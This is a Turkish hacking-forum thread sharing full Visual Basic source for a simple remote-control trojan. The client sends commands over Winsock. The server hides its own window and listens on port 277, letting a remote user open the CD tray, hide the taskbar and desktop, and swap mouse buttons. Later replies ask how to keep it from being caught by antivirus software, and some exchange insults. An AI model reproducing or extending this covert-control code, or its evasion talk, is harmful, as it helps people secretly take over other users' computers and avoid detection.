Forum
Aktif konular
Üyeler
Kurallar
Arama
Tahribat.com Forumları 
Visual Basic - Basic - PicBasic ve Türevleri 
BASIT BIR TROJAN YAPIMI (Visual Basic) BASIT BIR TROJAN YAPIMI (Visual Basic)
-
Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdır
- Özellikler :
Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277
End Sub
Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub
Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub
Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide
End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False
Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False
Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False
Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True
End Select
End Sub
Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub -
Hoca
Madem yazmıssın johnsysinfonun ne oldunuu nerden bulunacagınıda bi söle herkes örensin.
-
En üste bak bakalım ne yazıyor ==>> Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdır
johnsysinfo ya gelince.Bunların genel adı componentdir. Project menüsünden components a gir orada gördüğün herşey component dır.Oralara bak bulursun orda
-
ertan bunu yazdı:
En üste bak bakalım ne yazıyor ==>> Basit Bir Trojan Uygulaması. Programlama dili Visual Basic. Kodları inceleyip geliştirebilirsiniz. Alıntıdır
johnsysinfo ya gelince.Bunların genel adı componentdir. Project menüsünden components a gir orada gördüğün herşey component dır.Oralara bak bulursun orda
Hoca bana visual basic mi öretiyon?Muhaa..Bilmiyodum component diye bise varmıs aaaaaaa..Bensana sadece johnsysinfo componmentini bulmanı istedim , alıntı yazdıınıı görmemisim pardon
-
dostum örnek kodları varsa yollayabilirmisin??
kriptontr(et)gmail.com -
Mailine attım kriptontr. Sana gelince gver arkadaşım bilip bilmemen beni ilgilendirmez.Kullanıyorsan kullan kullanmıyorsan da yorum yapma.Sorunu da adam gibi sor
-
Bu şimdi antilere yakalanıyordur dimi..Yakalanmaması için ne yapacaz bana sakın antidoteyi kullan deme..içine kod falan yerlestirilir mi? Yakalanmaması ıcın yerlestırılıyosa nasıl bı kod koymak lazım??
-
Vallahi hocam antivirus bunu trojan olarak algılar mı bilmem.Eğer algılarsa elbette ki kod yazılacak ama bu kodu yazmak herkesin harcı değil yanii.Sen bir açık bulursun antivirus şirketleri kapatır.Böyle devam eder işte.Yani o kodu kendin geliştirmen gerek.Tabii çook çalışmak geriyor hocam çook
-
Peki vb.net de trojan yazılabilir mi?
-
Edit , eski ve sacma bir mesaj :=)
@truva
olur sanirim nie olmasin -
gVeR bunu yazdı:
Sen kimsin ertan , benim adamlıımla urasıyon ,dangalak herif sende tüm mesajları alıntı olan dallamalardansın görünen bi daha hakkımda bise yaz yiyosa skerim derini akıllı ol, bise yapıyosan doru düzgün yap bari ...
Bu arada truvaa yazılır herhalde niye yazılmasınki?
Bak arkadaşım terbiyeli ol.Ben üretken bir insanım bunu bil.Ama kendim yeni birşey öğrendim mi veya yaptım mı bunu da paylaşırım.Yakında iki program göndereceğim.O zaman anlarsın.Eğer istemiyorsan yorum yapma.Okumu ma da.
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 8026 Toplam Mesaj: 13
Cevapla